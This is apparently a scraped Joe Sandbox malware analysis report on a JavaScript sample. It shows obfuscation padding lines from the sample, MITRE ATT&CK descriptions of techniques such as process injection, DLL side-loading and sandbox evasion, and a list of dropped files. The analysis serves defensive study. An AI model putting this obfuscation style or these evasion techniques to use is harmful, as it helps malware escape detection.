1341	zqull = "f";
1342	zqull = "W";
1343	zqull = "R";
1344	zqull = "g";
1345	zqull = "C";
1346	zqull = "J";
1347	zqull = "U";
1348	zqull = "Y";
1349	zqull = "N";
1350	zqull = "r";
1351	zqull = "Z";
1352	zqull = "O";
1353	zqull = "Z";
1354	zqull = "F";
1355	zqull = "d";
1356	ploofovz = "U";
1357	ploofovz = "g";
1358	ploofovz = "A";
1359	ploofovz = "Y";
1360	ploofovz = "V";
1361	ploofovz = "j";
1362	ploofovz = "S";
1363	ploofovz = "d";
1364	ploofovz = "z";
1365	ploofovz = "8";
1366	pescg = "b";
1367	pescg = "q";
1368	dnrguzt = "A";
1369	dnrguzt = "H";
1370	dnrguzt = "o";
1371	dnrguzt = "A";
1372	dnrguzt = "G";
1373	dnrguzt = "D";
1374	dnrguzt = "O";
1375	dnrguzt = "o";
1376	dnrguzt = "g";
1377	dnrguzt = "w";
1378	dnrguzt = "F";
1379	dnrguzt = "z";
1380	dnrguzt = "M";
1381	dnrguzt = "q";
1382	dnrguzt = "r";
1383	dnrguzt = "L";
1384	dnrguzt = "B";
1385	dnrguzt = "T";
1386	dnrguzt = "j";
1387	dnrguzt = "F";
1388	dnrguzt = "H";
1389	dnrguzt = "B";
1390	dnrguzt = "y";
1391	dnrguzt = "l";
1392	dnrguzt = "L";
1393	dnrguzt = "U";
1394	eswbcuo = "h";
1395	eswbcuo = "j";
1396	eswbcuo = "K";
1397	eswbcuo = "R";
1398	eswbcuo = "d";
1399	eswbcuo = "Y";
1400	eswbcuo = "P";
1401	eswbcuo = "i";
1402	eswbcuo = "X";
1403	eswbcuo = "J";
1404	eswbcuo = "@";
1405	gweplzdhk = "L";
1406	gweplzdhk = "v";
1407	gweplzdhk = "J";
1408	gweplzdhk = "D";
1409	gweplzdhk = "O";
1410	gweplzdhk = "D";
1411	gweplzdhk = "C";
1412	gweplzdhk = "E";
1413	gweplzdhk = "b";
1414	gweplzdhk = "Z";
1415	gweplzdhk = "X";
1416	gweplzdhk = "M";
1417	gweplzdhk = "f";
1418	gweplzdhk = "j";
1419	gweplzdhk = "F";
1420	gweplzdhk = "w";
1421	gweplzdhk = "K";
1422	gweplzdhk = "Z";
1423	gweplzdhk = "n";
1424	gweplzdhk = "Y";
1425	gweplzdhk = "j";
1426	gweplzdhk = "s";
1427	gweplzdhk = "K";
1428	gweplzdhk = "P";
1429	npmly = "u";
1430	npmly = "I";
1431	npmly = "Q";
1432	npmly = "H";
1433	npmly = "z";
1434	npmly = "f";
1435	npmly = "Y";
1436	npmly = "a";
1437	npmly = "&";
1438	tbjpavkts ( );	tbjpavkts() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1178918864369817238.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\2da5f6f7-0a61-4af5-bc9d-483828455534.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF3eaf4d.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\d8ff2130-4769-4987-a026-3edf5bbe0d6e.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Windows Analysis Report
1178918864369817238.js